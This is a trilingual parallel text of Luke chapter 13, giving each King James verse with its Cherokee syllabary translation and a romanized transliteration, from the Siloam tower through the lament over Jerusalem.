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| There were present at that season some that told him of the Galilaeans, whose blood Pilate had mingled with their sacrifices.
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| ᎾᏍᎩᏃ ᎠᏁᏙᎮ ᎩᎶ ᎬᏩᏃᏁᎸᎯ ᎬᏩᏁᎢᏍᏓᏁᎸᎯ ᎨᎵᎵ ᎠᏁᎯ, ᎾᏍᎩ ᎤᏂᎩᎬ ᏇᎴᏗ ᏚᏑᏰᏓᏁᎸ ᎠᏥᎸ-ᎠᏁᎶᎲᎢ.
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Na-s-gi-no a-ne-do-he gi-lo gv-wa-no-ne-lv-hi gv-wa-ne-i-s-da-ne-lv-hi Ge-li-li a-ne-hi, na-s-gi u-ni-gi-gv Que-le-di du-su-ye-da-ne-lv a-tsi-lv--a-ne-lo-hv-i.
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| And Jesus answering said unto them, Suppose ye that these Galilaeans were sinners above all the Galilaeans, because they suffered such things?
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| ᏥᏌᏃ ᏚᏁᏤᎴ ᎯᎠ ᏂᏚᏪᏎᎴᎢ, ᎢᏣᏓᏅᏖᏍᎬᏍᎪ ᎯᎠ ᎾᏍᎩ ᎨᎵᎵ ᎠᏁᎯ ᏧᏂᎪᎾᏛᏔᏅᎯ ᎨᏎ ᎠᏂᏍᎦᎾᎯᏳ ᎨᏒ ᏂᎦᏛ ᎨᎵᎵ ᎠᏁᎯ, ᏅᏗᎦᎵᏍᏙᏗᎭ ᎾᏍᎩ ᏥᏄᎾᎵᏍᏓᏁᎴᎢ?
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Tsi-sa-no du-ne-tse-le hi-a ni-du-we-se-le-i, I-tsa-da-nv-te-s-gv-s-go hi-a na-s-gi Ge-li-li a-ne-hi tsu-ni-go-na-dv-ta-nv-hi ge-se a-ni-s-ga-na-hi-yu ge-sv ni-ga-dv Ge-li-li a-ne-hi, nv-di-ga-li-s-do-di-ha na-s-gi tsi-nu-na-li-s-da-ne-le-i?
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| I tell you, Nay: but, except ye repent, ye shall all likewise perish.
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| ᎥᏝ ᎢᏨᏲᏎᎭ; ᏂᎯᏍᎩᏂ ᏂᏗᏥᏁᏟᏴᏒᎾ ᎢᎨᏎᏍᏗ ᏕᏣᏓᏅᏛᎢ, ᏂᎦᏛ ᎾᏍᎩᏯ ᏓᏣᏗᏒᏂ.
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V-tla i-tsv-yo-se-ha; ni-hi-s-gi-ni ni-di-tsi-ne-tli-yv-sv-na i-ge-se-s-di de-tsa-da-nv-dv-i, ni-ga-dv na-s-gi-ya da-tsa-di-sv-ni.
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| Or those eighteen, upon whom the tower in Siloam fell, and slew them, think ye that they were sinners above all men that dwelt in Jerusalem?
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| ᎠᎴ Ꮎ ᏁᎳᏚ ᎢᏯᏂᏛ ᏌᎶᎻ ᎢᏅᎢᎦᏘ ᎠᏓᏁᎸ ᏧᎾᏐᏁᎢ, ᎠᎴ ᏥᏚᏂᎴᎢ, ᏥᎪ ᎢᏣᏓᏅᏖᏍᎬ ᏧᏂᎪᎾᏛᏔᏅᎯ ᎨᏎ ᎠᏂᏍᎦᎾᎯᏳ ᎨᏒ ᏂᎦᏛ ᏥᎷᏏᎵᎻ ᎠᏁᎯ?
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A-le na ne-la-du i-ya-ni-dv Sa-lo-mi i-nv-i-ga-ti a-da-ne-lv tsu-na-so-ne-i, a-le tsi-du-ni-le-i, tsi-go i-tsa-da-nv-te-s-gv tsu-ni-go-na-dv-ta-nv-hi ge-se a-ni-s-ga-na-hi-yu ge-sv ni-ga-dv Tsi-lu-si-li-mi a-ne-hi?
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| I tell you, Nay: but, except ye repent, ye shall all likewise perish.
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| ᎥᏝ ᎢᏨᏲᏎᎭ; ᏂᎯᏍᎩᏂ ᏂᏗᏥᏁᏟᏴᏒᎾ ᎢᎨᏎᏍᏗ ᏕᏣᏓᏅᏛᎢ, ᏂᎦᏛ ᎾᏍᎩᏯ ᏓᏩᏗᏒᏂ.
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V-tla i-tsv-yo-se-ha; ni-hi-s-gi-ni ni-di-tsi-ne-tli-yv-sv-na i-ge-se-s-di de-tsa-da-nv-dv-i, ni-ga-dv na-s-gi-ya da-wa-di-sv-ni.
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| He spake also this parable; A certain man had a fig tree planted in his vineyard; and he came and sought fruit thereon, and found none.
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| ᎯᎠ ᎾᏍᏉ ᏄᏪᏎ ᏚᏟᎶᏍᏓᏁᎴᎢ; ᎩᎶ ᎢᏳᏍᏗ, ᎡᎦᏔ-ᎢᏳᏍᏗ ᏡᎬ ᎤᏫᏎ ᏖᎸᎳᏗ ᏚᏫᏒᎢ; ᎤᎷᏤᏃ ᎤᏲᎴ ᎤᏓᏔᏅᎯ, ᎠᎴ ᎥᏝ ᏳᏩᏛᎮᎢ.
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Hi-a na-s-quo nu-we-se du-tli-lo-s-da-ne-le-i; Gi-lo i-yu-s-di, e-ga-ta--i-yu-s-di tlu-gv u-wi-se te-lv-la-di du-wi-sv-i; u-lu-tse-no u-yo-le u-da-ta-nv-hi, a-le v-tla yu-wa-dv-he-i.
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| Then said he unto the dresser of his vineyard, Behold, these three years I come seeking fruit on this fig tree, and find none: cut it down; why cumbereth it the ground?
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| ᎿᎭᏉᏃ ᎯᎠ ᏄᏪᏎᎴ ᎣᏍᏛ ᎢᏳᏩᎿᎭᏕᎩ ᏖᎸᎳᏗ ᏚᏫᏒᎢ, ᎬᏂᏳᏉ, ᎿᎭᏉ ᏦᎢ ᎾᏕᏘᏴ ᏥᎷᎬᎩ ᎠᎩᏲᎲᎩ ᎤᏓᏔᏅᎯ ᎯᎠ ᎾᏍᎩ ᎡᎦᏔ-ᎢᏳᏍᏗ ᏡᎬᎢ, ᎠᎴ ᎥᏝ ᏱᏥᏩᏘᎭ; ᎯᎴᏴᏍᏓ; ᎦᏙᏃ ᎢᎤᎨᏗ ᎦᏙᎯ?
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Hna-quo-no hi-a nu-we-se-le o-s-dv i-yu-wa-hna-de-gi te-lv-la-di du-wi-sv-i, Gv-ni-yu-quo, hna-quo tso-i na-de-ti-yv tsi-lu-gv-gi a-gi-yo-hv-gi u-da-ta-nv-hi hi-a na-s-gi e-ga-ta--i-yu-s-di tlu-gv-i, a-le v-tla yi-tsi-wa-ti-ha; hi-le-yv-s-da; ga-do-no i-u-ge-di ga-do-hi?
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| And he answering said unto him, Lord, let it alone this year also, till I shall dig about it, and dung it:
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| ᎤᏁᏨᏃ ᎯᎠ ᏄᏪᏎᎴᎢ, ᏣᎬᏫᏳᎯ, ᎤᏁᎳᎩ ᎮᎳ ᎪᎯ ᎾᏍᏉ ᏧᏕᏘᏴᏌᏗ, ᎬᏂ ᎦᏍᎪᏏᏙᎸᎭ, ᎠᎴ ᎣᏍᏛ ᎦᏓ ᏥᏅᎭ.
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U-ne-tsv-no hi-a nu-we-se-le-i, Tsa-gv-wi-yu-hi, u-ne-la-gi he-la go-hi na-s-quo tsu-de-ti-yv-sa-di, gv-ni ga-s-go-si-do-lv-ha, a-le o-s-dv ga-da tsi-nv-ha.
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| And if it bear fruit, well: and if not, then after that thou shalt cut it down.
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| ᎢᏳᏃ ᎢᎠᏓᏔᏅᎭ, ᎤᏁᎳᎩᏉ ᎨᏎᏍᏗ; ᎢᏳᏃ ᏄᏔᏅᎾ ᏱᎩ, ᎩᎳ ᎣᏂ ᎯᎴᏴᏍᏔᏅᎭ.
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I-yu-no i-a-da-ta-nv-ha, u-ne-la-gi-quo ge-se-s-di; i-yu-no nu-ta-nv-na yi-gi, gi-la o-ni hi-le-yv-s-ta-nv-ha.
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| And he was teaching in one of the synagogues on the sabbath.
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| ᏓᏕᏲᎲᏍᎨᏃ ᎢᎸᎯᏢ ᎠᏓᏁᎸ ᏗᎦᎳᏫᎢᏍᏗᏱ ᎤᎾᏙᏓᏆᏍᎬᎢ;
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Da-de-yo-hv-s-ge-no i-lv-hi-tlv a-da-ne-lv di-ga-la-wi-i-s-di-yi u-na-do-da-qua-s-gv-i;
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| And, behold, there was a woman which had a spirit of infirmity eighteen years, and was bowed together, and could in no wise lift up herself.
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| ᎬᏂᏳᏉᏃ ᎾᎿᎭᎡᏙᎮ ᎠᎨᏴ ᎠᏓᏅᏙ ᎥᏳᎩ ᎪᏢᏍᎩ ᎤᏯᎢ ᏁᎳᏚ ᎢᏳᏕᏘᏴᏛ ᎢᎬᏩᎵᏍᏔᏅᎯ ᎨᏎᎢ, ᎠᎴ ᎤᏗᏌᏕᎢ, ᎠᎴ ᎬᏩᏟᏍᏛ ᎤᎵᏥᏃᎯᏍᏙᏗᏱ ᎨᏎᎢ.
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Gv-ni-yu-quo-no na-hna e-do-he a-ge-yv a-da-nv-do v-yu-gi go-tlv-s-gi u-ya-i ne-la-du i-yu-de-ti-yv-dv i-gv-wa-li-s-ta-nv-hi ge-se-i, a-le u-di-sa-de-i, a-le gv-wa-tli-s-dv u-li-tsi-no-hi-s-do-di-yi ge-se-i.
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| And when Jesus saw her, he called her to him, and said unto her, Woman, thou art loosed from thine infirmity.
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| ᏥᏌᏃ ᎤᎪᎲ ᏭᏯᏅᎮᎢ, ᎠᎴ ᎯᎠ ᏄᏪᏎᎴᎢ, ᎯᎨᏴ, ᏣᏢᎬ ᎡᏧᏓᎳᎩ.
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Tsi-sa-no u-go-hv wu-ya-nv-he-i, a-le hi-a nu-we-se-le-i, Hi-ge-yv, tsa-tlv-gv e-tsu-da-la-gi.
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| And he laid his hands on her: and immediately she was made straight, and glorified God.
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| ᏚᏏᏔᏕᏃ; ᎠᎴ ᎩᎳᏉ ᎢᏴᏛ ᎦᏥᏃᏍᏛ ᏄᎵᏍᏔᏁᎢ, ᎠᎴ ᎤᎸᏉᏔᏁ ᎤᏁᎳᏅᎯ.
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Du-si-ta-de-no; a-le gi-la-quo i-yv-dv ga-tsi-no-s-dv nu-li-s-ta-ne-i, a-le u-lv-quo-ta-ne U-ne-la-nv-hi.
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| And the ruler of the synagogue answered with indignation, because that Jesus had healed on the sabbath day, and said unto the people, There are six days in which men ought to work: in them therefore come and be healed, and not on the sabbath day.
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| ᏗᎦᎳᏫᎢᏍᏗᏱᏃ ᏄᎬᏫᏳᏌᏕᎩ ᎤᎿᎭᎸᎯ ᎤᏁᏤᎢ, ᏅᏗᎦᎵᏍᏙᏗᏍᎨ ᏥᏌ ᎤᏓᏅᏩᏅ ᎤᎾᏙᏓᏆᏍᎬ ᎢᎦ; ᎠᎴ ᎯᎠ ᏂᏚᏪᏎᎴ ᏴᏫ, ᏑᏓᎵ ᎢᎦ ᏚᏳᎪᏗ ᏧᏂᎸᏫᏍᏓᏁᏗᏱ ᏴᏫ; ᎾᎯᏳᏍᎩᏂ ᎢᏥᎷᎨᏍᏗ ᎠᎴ ᏕᏥᏅᏫᏍᎨᏍᏗ, ᏞᏍᏗᏃ ᎤᎾᏙᏓᏆᏍᎬ ᎢᎦ.
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Di-ga-la-wi-i-s-di-yi-no nu-gv-wi-yu-sa-de-gi u-hna-lv-hi u-ne-tse-i, nv-di-ga-li-s-do-di-s-ge Tsi-sa u-da-nv-wa-nv u-na-do-da-qua-s-gv i-ga; a-le hi-a ni-du-we-se-le yv-wi, Su-da-li i-ga du-yu-go-di tsu-ni-lv-wi-s-da-ne-di-yi yv-wi; na-hi-yu-s-gi-ni i-tsi-lu-ge-s-di a-le de-tsi-nv-wi-s-ge-s-di, tle-s-di-no u-na-do-da-qua-s-gv i-ga.
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| The Lord then answered him, and said, Thou hypocrite, doth not each one of you on the sabbath loose his ox or his ass from the stall, and lead him away to watering?
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| ᎤᎬᏫᏳᎯᏃ ᎿᎭᏉ ᎤᏁᏤᎴ ᎯᎠ ᏄᏪᏎᎴᎢ, ᏣᏠᎾᏍᏗ! ᏝᏍᎪ ᏂᎯ ᎢᏥᏏᏴᏫᎭ ᎨᏒ ᎤᎾᏙᏓᏆᏍᎬ ᏰᏤᎵᏌᏕᏍᎪ ᏗᎨᎳᏍᏗᏱ ᎢᏣᏤᎵ ᏩᎦ ᎠᎴ ᏐᏈᎵᏗᎦᎵᎠᏅᎯᏛ, ᎠᎴ ᏰᏣᏘᏁᎪ ᎠᎹ ᏰᏣᏗᏔᏍᏔᏁᎪᎢ?
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U-gv-wi-yu-hi-no hna-quo u-ne-tse-le hi-a nu-we-se-le-i, Tsa-tlo-na-s-di! tla-s-go ni-hi i-tsi-si-yv-wi-ha ge-sv u-na-do-da-qua-s-gv ye-tse-li-sa-de-s-go di-ge-la-s-di-yi i-tsa-tse-li wa-ga a-le so-qui-li-di-ga-li-a-nv-hi-dv, a-le ye-tsa-ti-ne-go a-ma ye-tsa-di-ta-s-ta-ne-go-i?
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| And ought not this woman, being a daughter of Abraham, whom Satan hath bound, lo, these eighteen years, be loosed from this bond on the sabbath day?
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| ᎯᎠᏃ ᎠᎨᏴ ᎡᏆᎭᎻ ᎤᏪᏥ ᏥᎩ, ᎾᏍᎩ ᏎᏓᏂ ᎿᎭᏉ ᎬᏂᏳ ᏁᎳᏚ ᏧᏕᏗᏴᏛ ᎬᏩᎸᎸᎯ ᏥᎩ, ᏝᏍᎪ ᏱᏚᏳᎪᏕ ᎤᎾᏙᏓᏆᏍᎬ ᎠᎦᎸᏒᏗᏱ ᎯᎠ ᎾᏍᎩ ᎤᏓᎸᏍᏛᎢ?
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Hi-a-no a-ge-yv E-qua-ha-mi u-we-tsi tsi-gi, na-s-gi Se-da-ni hna-quo gv-ni-yu ne-la-du tsu-de-di-yv-dv gv-wa-lv-lv-hi tsi-gi, tla-s-go yi-du-yu-go-de u-na-do-da-qua-s-gv a-ga-lv-sv-di-yi hi-a na-s-gi u-da-lv-s-dv-i?
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| And when he had said these things, all his adversaries were ashamed: and all the people rejoiced for all the glorious things that were done by him.
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| ᎾᏍᎩᏃ ᎯᎠ ᏄᏪᏒ, ᏂᎦᏛ ᏗᎬᏩᎦᏗᎴᎩ ᎤᎾᏕᎰᏎᎢ; ᏂᎦᏛᏃ ᏴᏫ ᎠᎾᎵᎮᎵᎨ ᏅᏗᎦᎵᏍᏙᏗᏍᎨ ᏂᎦᏛ ᎦᎸᏉᏗᏳ ᎾᏍᎩ ᏕᎤᎸᏫᏍᏓᏁᎲᎢ.
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Na-s-gi-no hi-a nu-we-sv, ni-ga-dv di-gv-wa-ga-di-le-gi u-na-de-ho-se-i; ni-ga-dv-no yv-wi a-na-li-he-li-ge nv-di-ga-li-s-do-di-s-ge ni-ga-dv ga-lv-quo-di-yu na-s-gi de-u-lv-wi-s-da-ne-hv-i.
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| Then said he, Unto what is the kingdom of God like? and whereunto shall I resemble it?
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| ᎿᎭᏉᏃ ᎯᎠ ᏄᏪᏎᎢ, ᎦᏙ ᏓᏤᎸ ᎤᏁᎳᏅᎯ ᎤᎬᏫᏳᎯ ᎨᏒᎢ? ᎠᎴ ᎦᏙ ᏙᏓᎦᏟᎶᏍᏔᏂ?
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Hna-quo-no hi-a nu-we-se-i, Ga-do da-tse-lv U-ne-la-nv-hi u-gv-wi-yu-hi ge-sv-i? A-le ga-do do-da-ga-tli-lo-s-ta-ni?
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| It is like a grain of mustard seed, which a man took, and cast into his garden; and it grew, and waxed a great tree; and the fowls of the air lodged in the branches of it.
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| ᎠᏥᎸ-ᎤᎦᏔ ᏓᏤᎸ, ᎾᏍᎩ ᎠᏍᎦᏯ ᏧᎩᏎ ᎠᎴ ᎤᏫᏒᏗᏱ ᏥᏭᏗᏅᏎᎢ; ᎠᎴ ᎤᏛᏎᎢ, ᎠᎴ ᎡᏉᎯᏳ ᏄᎵᏍᏔᏁ ᏡᎬᎢ; ᎠᎴ ᏥᏍᏆ ᎦᎸᎶ ᎠᏂᏃᎯᎵᏙᎯ ᏚᏩᏂᎦᎸ ᎤᎾᎭᏓᏕᎢ.
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A-tsi-lv--u-ga-ta da-tse-lv, na-s-gi a-s-ga-ya tsu-gi-se a-le u-wi-sv-di-yi tsi-wu-di-nv-se-i; a-le u-dv-se-i, a-le e-quo-hi-yu nu-li-s-ta-ne tlu-gv-i; a-le tsi-s-qua ga-lv-lo a-ni-no-hi-li-do-hi du-wa-ni-ga-lv u-na-ha-da-de-i.
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| And again he said, Whereunto shall I liken the kingdom of God?
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| ᎠᎴᏬ ᎯᎠ ᏄᏪᏎᎢ, ᎦᏙ ᏙᏓᎦᏟᎶᏍᏔᏂ ᎤᏁᎳᏅᎯ ᎤᎬᏫᏳᎯ ᎨᏒᎢ?
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A-le-wo hi-a nu-we-se-i, ga-do do-da-ga-tli-lo-s-ta-ni U-ne-la-nv-hi u-gv-wi-yu-hi ge-sv-i?
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| It is like leaven, which a woman took and hid in three measures of meal, till the whole was leavened.
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| ᎠᎪᏙᏗ ᎾᏍᎩᏯᎢ, ᎾᏍᎩ ᎠᎨᏴ ᏧᎩᏎ ᎠᎴ ᏧᏑᏴᏁ ᏦᎢ ᎢᏳᏟᎶᏛ ᎢᏒ ᎦᎸᎢ, ᎬᏂ ᏂᎦᏛ ᎤᏬᏘᏐᏅ.
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A-go-do-di na-s-gi-ya-i, na-s-gi a-ge-yv tsu-gi-se a-le tsu-su-yv-ne tso-i i-yu-tli-lo-dv i-sv ga-lv-i, gv-ni ni-ga-dv u-wo-ti-so-nv.
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| And he went through the cities and villages, teaching, and journeying toward Jerusalem.
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| ᎤᎦᏛᎴᏏᏙᎴᏃ ᎤᏪᏙᎴ ᏧᏛᎾ ᏕᎦᏚᎲ ᎠᎴ ᏧᏍᏗ ᏕᎦᏚᎲᎢ, ᏓᏕᏲᎲᏍᎨᎢ, ᎠᎴ ᏥᎷᏏᎵᎻ ᏩᎦᏖᎢ.
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U-ga-dv-le-si-do-le-no u-we-do-le tsu-dv-na de-ga-du-hv a-le tsu-s-di de-ga-du-hv-i, da-de-yo-hv-s-ge-i, a-le Tsi-lu-si-li-mi wa-ga-te-i.
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| Then said one unto him, Lord, are there few that be saved? And he said unto them,
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| ᎠᏏᏴᏫᏃ ᎯᎠ ᏄᏪᏎᎴᎢ, ᏣᎬᏫᏳᎯ, ᎠᏂᎦᏲᎵᏉᏍᎪ ᎨᏥᏍᏕᎸᏗ ᎨᏎᏍᏗ? ᎯᎠᏃ ᏂᏚᏪᏎᎴᎢ,
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A-si-yv-wi-no hi-a nu-we-se-le-i, Tsa-gv-wi-yu-hi, a-ni-ga-yo-li-quo-s-go ge-tsi-s-de-lv-di ge-se-s-di? Hi-a-no ni-du-we-se-le-i,
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| Strive to enter in at the strait gate: for many, I say unto you, will seek to enter in, and shall not be able.
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| ᎢᏣᏟᏂᎬᏁᎮᏍᏗ ᎢᏥᏴᏍᏗᏱ ᎠᏯᏙᎵ ᎦᎶᎯᏍᏗᏱ; ᎤᏂᏣᏘᏰᏃ, ᎢᏨᏲᏎᎭ, ᏓᏳᏂᏲᎵ ᎤᏂᏴᏍᏗᏱ, ᎠᎴ ᎥᏝ ᏰᎵ ᏫᎬᏩᏂᏴᏍᏗ ᏱᎨᏎᏍᏗ.
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I-tsa-tli-ni-gv-ne-he-s-di i-tsi-yv-s-di-yi a-ya-do-li ga-lo-hi-s-di-yi; u-ni-tsa-ti-ye-no, i-tsv-yo-se-ha, da-yu-ni-yo-li u-ni-yv-s-di-yi, a-le v-tla ye-li wi-gv-wa-ni-yv-s-di yi-ge-se-s-di.
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| When once the master of the house is risen up, and hath shut to the door, and ye begin to stand without, and to knock at the door, saying, Lord, Lord, open unto us; and he shall answer and say unto you, I know you not whence ye are:
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| ᎢᏳᏃ ᎿᎭᏉ ᎠᏍᎦᏯ ᎦᏁᎳ ᏓᎴᏅᎭ ᎠᎴ ᎠᏍᏚᏅᎭ ᎦᎶᎯᏍᏗᏱ, ᏂᎯᏃ ᎢᏣᎴᏅᎲ ᏙᏱᏗᏢ ᎢᏥᏙᎾᎥᎢ, ᎠᎴ ᎢᏨᏂᎮᏍᏗ ᎦᎶᎯᏍᏗᏱ ᎯᎠ ᏂᏤᏪᏍᎨᏍᏗ, ᏣᎬᏫᏳᎯ, ᏣᎬᏫᏳᎯ, ᎡᏍᎩᏍᏚᎢᏏ; ᎠᎴ ᏗᎧᏁᏨ ᎯᎠ ᏅᏗᏥᏪᏎᎸᎭ, ᎥᏝ ᏱᏥᎦᏔᎭ ᏗᏣᏓᎴᏅᎢ;
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I-yu-no hna-quo A-s-ga-ya ga-ne-la da-le-nv-ha a-le a-s-du-nv-ha ga-lo-hi-s-di-yi, ni-hi-no i-tsa-le-nv-hv do-yi-di-tlv i-tsi-do-na-v-i, a-le i-tsv-ni-he-s-di ga-lo-hi-s-di-yi hi-a ni-tse-we-s-ge-s-di, Tsa-gv-wi-yu-hi, Tsa-gv-wi-yu-hi, e-s-gi-s-du-i-si; a-le di-ka-ne-tsv hi-a nv-di-tsi-we-se-lv-ha, v-tla yi-tsi-ga-ta-ha di-tsa-da-le-nv-i;
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| Then shall ye begin to say, We have eaten and drunk in thy presence, and thou hast taught in our streets.
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| ᎿᎭᏉ ᏓᏣᎴᏅᎯ ᎯᎠ ᏅᏓᏥᏪᏏ, ᎣᎦᎵᏍᏓᏴᏅᎩ ᎠᎴ ᎣᎦᏗᏔᎲᎩ ᎯᎦᏔᎲᎢ, ᎠᎴ ᏕᏣᏕᏲᏅᎩ ᎣᎩᏚᎲ ᎡᏓᏍᏗᏱ ᏕᎦᎳᏅᏛᎢ.
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Hna-quo da-tsa-le-nv-hi hi-a nv-da-tsi-we-si, O-ga-li-s-da-yv-nv-gi a-le o-ga-di-ta-hv-gi hi-ga-ta-hv-i, a-le de-tsa-de-yo-nv-gi o-gi-du-hv e-da-s-di-yi de-ga-la-nv-dv-i.
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| But he shall say, I tell you, I know you not whence ye are; depart from me, all ye workers of iniquity.
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| ᎠᏎᏃ ᎯᎠ ᏅᏓᎦᏪᏏ, ᎢᏨᏲᏎᎭ, ᎥᏝ ᏱᏥᎦᏔᎭ ᏗᏣᏓᎴᏅᎢ; ᏍᎩᏯᏓᏅᏏ, ᏂᏥᎥ ᎤᏲ ᏗᏥᎸᏫᏍᏓᏁᎯ.
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A-se-no hi-a nv-da-ga-we-si, i-tsv-yo-se-ha, v-tla yi-tsi-ga-ta-ha di-tsa-da-le-nv-i; s-gi-ya-da-nv-si, ni-tsi-v u-yo di-tsi-lv-wi-s-da-ne-hi.
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| There shall be weeping and gnashing of teeth, when ye shall see Abraham, and Isaac, and Jacob, and all the prophets, in the kingdom of God, and you yourselves thrust out.
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| ᎾᎿᎭᏓᏂᏴᎨᏍᏗ ᎠᎴ ᏓᏂᎸᏓᎩᏍᎨᏍᏗ ᏓᏂᏄᏙᎬᎢ, ᎾᎯᏳ ᏕᏥᎪᎲᎭ ᎡᏆᎭᎻ ᎠᎴ ᎡᏏᎩ ᎠᎴ ᏤᎦᏈ ᎠᎴ ᏂᎦᏛ ᎠᎾᏙᎴᎰᏍᎩ, ᎤᏁᎳᏅᎯ ᎤᎬᏫᏳᎯ ᎨᏒ ᎾᎿᎭᎠᏂᏯᎡᏍᏗ, ᎢᏨᏒᏃ ᎡᏥᏄᎪᏫᏒᎯ ᎨᏎᏍᏗ.
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Na-hna da-ni-yv-ge-s-di a-le da-ni-lv-da-gi-s-ge-s-di da-ni-nu-do-gv-i, na-hi-yu de-tsi-go-hv-ha E-qua-ha-mi a-le E-si-gi a-le Tse-ga-qui a-le ni-ga-dv a-na-do-le-ho-s-gi, U-ne-la-nv-hi u-gv-wi-yu-hi ge-sv na-hna a-ni-ya-e-s-di, i-tsv-sv-no e-tsi-nu-go-wi-sv-hi ge-se-s-di.
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| And they shall come from the east, and from the west, and from the north, and from the south, and shall sit down in the kingdom of God.
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| ᏗᎧᎸᎬᏃ ᎢᏗᏢ ᏗᏂᎶᏍᎨᏍᏗ, ᎠᎴ ᏭᏕᎵᎬᎢ, ᎠᎴ ᏧᏴᏢᎢ, ᎠᎴ ᏧᎦᎾᏮᎢ, ᎠᎴ ᎠᎾᏅᎥᏍᎨᏍᏗ ᎤᏁᎳᏅᎯ ᎾᎿᎭᎤᎬᏫᏳᎯ ᎨᏒᎢ.
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Di-ka-lv-gv-no i-di-tlv di-ni-lo-s-ge-s-di, a-le wu-de-li-gv-i, a-le tsu-yv-tlv-i, a-le tsu-ga-na-wv-i, a-le a-na-nv-v-s-ge-s-di U-ne-la-nv-hi na-hna u-gv-wi-yu-hi ge-sv-i.
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| And, behold, there are last which shall be first, and there are first which shall be last.
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| ᎠᎴ ᎬᏂᏳᏉ ᎠᏁᎭ ᎣᏂ ᏥᎩ, ᎾᏍᎩ ᎢᎬᏱ ᎨᏎᏍᏗ, ᎠᎴ ᎠᏁᎭ ᎢᎬᏱ ᏥᎩ, ᎾᏍᎩ ᎣᏂ ᎨᏎᏏᏗ.
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A-le gv-ni-yu-quo a-ne-ha o-ni tsi-gi, na-s-gi i-gv-yi ge-se-s-di, a-le a-ne-ha i-gv-yi tsi-gi, na-s-gi o-ni ge-se-si-di.
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| The same day there came certain of the Pharisees, saying unto him, Get thee out, and depart hence: for Herod will kill thee.
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| ᎾᎯᏳᏉᏃ ᎢᎦ ᎩᎶ ᎢᏳᎾᏍᏗ ᎠᏂᏆᎵᏏ ᎤᏂᎷᏤ ᎯᎠ ᏂᎬᏩᏪᏎᎴᎢ, ᎯᏄᎪᎢ, ᎠᎴ ᎭᏓᏅᎾ ᎠᏂ; ᎡᎶᏛ ᎾᏏ ᎤᏚᎵ ᏣᎯᏍᏗᏱ.
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Na-hi-yu-quo-no i-ga gi-lo i-yu-na-s-di a-ni-qua-li-si u-ni-lu-tse hi-a ni-gv-wa-we-se-le-i, Hi-nu-go-i, a-le ha-da-nv-na a-ni; E-lo-dv na-si u-du-li tsa-hi-s-di-yi.
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| And he said unto them, Go ye, and tell that fox, Behold, I cast out devils, and I do cures to day and to morrow, and the third day I shall be perfected.
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| ᎯᎠᏃ ᏂᏚᏪᏎᎴᎢ, ᎢᏤᎾ, ᎠᎴ ᎯᎠ ᏫᏁᏥᏪᏏ Ꮎ ᎫᎳ, ᎬᏂᏳᏉ ᎠᏂᏍᎩᎾ ᏕᏥᏄᎪᏫᏍᎦ, ᎠᎴ ᏕᎦᏓᏅᏫᎭ ᎪᎯ ᎢᎦ ᎠᎴ ᎤᎩᏨᏅᎢ, ᏦᎢᏁᏃ ᎢᎦ ᎠᎩᏍᏆᏛᎯ ᎨᏎᏍᏗ.
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Hi-a-no ni-du-we-se-le-i, I-tse-na, a-le hi-a wi-ne-tsi-we-si na gu-la, Gv-ni-yu-quo a-ni-s-gi-na de-tsi-nu-go-wi-s-ga, a-le de-ga-da-nv-wi-ha go-hi i-ga a-le u-gi-tsv-nv-i, tso-i-ne-no i-ga a-gi-s-qua-dv-hi ge-se-s-di.
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| Nevertheless I must walk to day, and to morrow, and the day following: for it cannot be that a prophet perish out of Jerusalem.
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| ᎠᏎᏍᎩᏂᏃᏅ ᎠᏇᏓᏍᏗ ᏂᎦᎵᏍᏗᎭ ᎪᎯ ᎢᎦ, ᎠᎴ ᎤᎩᏨᏅᎢ, ᎠᎴ ᎤᎩᏨᏛ; ᎥᏝᏰᏃ ᎠᏙᎴᎰᏍᎩ ᏰᎵ ᎢᎸᎯᏢ ᎦᏰᏥᎢᏍᏗ ᏱᎩ, ᏥᎷᏏᎵᎻ ᎤᏩᏒ.
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A-se-s-gi-ni-no-nv a-que-da-s-di ni-ga-li-s-di-ha go-hi i-ga, a-le u-gi-tsv-nv-i, a-le u-gi-tsv-dv; v-tla-ye-no a-do-le-ho-s-gi ye-li i-lv-hi-tlv ga-ye-tsi-i-s-di yi-gi, Tsi-lu-si-li-mi u-wa-sv.
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| O Jerusalem, Jerusalem, which killest the prophets, and stonest them that are sent unto thee; how often would I have gathered thy children together, as a hen doth gather her brood under her wings, and ye would not!
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| ᏥᎷᏏᎵᎻ! ᏥᎷᏏᎵᎻ! ᎠᎾᏙᎴᎰᏍᎩ ᏘᎯᎯ, ᎠᎴ ᏅᏯ ᏛᏂᏍᏗᏍᎩ ᎨᏣᎷᏤᏗᏱ ᎨᏥᏅᏒᎯ; ᏯᏃᎩᏳ ᎠᏆᏚᎵᏍᎬ ᎦᏥᏯᏟᏐᏗᏱ ᏗᏤᏥ, ᎾᏍᎩᏯ ᏣᏔᎦ ᏥᏕᎦᏟᏏᏍᎪ ᏧᏪᏥ ᎠᏂᏛ ᎠᏫᏂᏗᏢ ᏗᎧᏃᎨᏂ, ᎠᏎᏃ ᎥᏝ ᏱᏣᏚᎵᏍᎨᎢ!
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Tsi-lu-si-li-mi! Tsi-lu-si-li-mi! a-na-do-le-ho-s-gi ti-hi-hi, a-le nv-ya dv-ni-s-di-s-gi ge-tsa-lu-tse-di-yi ge-tsi-nv-sv-hi; ya-no-gi-yu a-qua-du-li-s-gv ga-tsi-ya-tli-so-di-yi di-tse-tsi, na-s-gi-ya tsa-ta-ga tsi-de-ga-tli-si-s-go tsu-we-tsi a-ni-dv a-wi-ni-di-tlv di-ka-no-ge-ni, a-se-no v-tla yi-tsa-du-li-s-ge-i!
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| Behold, your house is left unto you desolate: and verily I say unto you, Ye shall not see me, until the time come when ye shall say, Blessed is he that cometh in the name of the Lord.
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| ᎬᏂᏳᏉ ᎢᏥᏁᎸ ᏅᏔ ᏁᏨᏁᎸ; ᎠᎴ ᎯᎠ ᏂᏨᏪᏎᎭ, ᎥᏝ ᏴᎨᏍᎩᎪᏩᏛ ᎪᎯ ᎢᏳᏓᎴᏅᏛ ᎬᏂ ᎯᎠ ᎢᏥᏪᏍᏗᏱ ᎠᏍᏆᎸᎲᎭ, ᎠᏥᎸᏉᏗᏳ ᎾᏍᎩ Ꮎ ᏱᎰᏩ ᏕᏅᏙᎥ ᏥᎦᎷᎯᏍᏗᎭ.
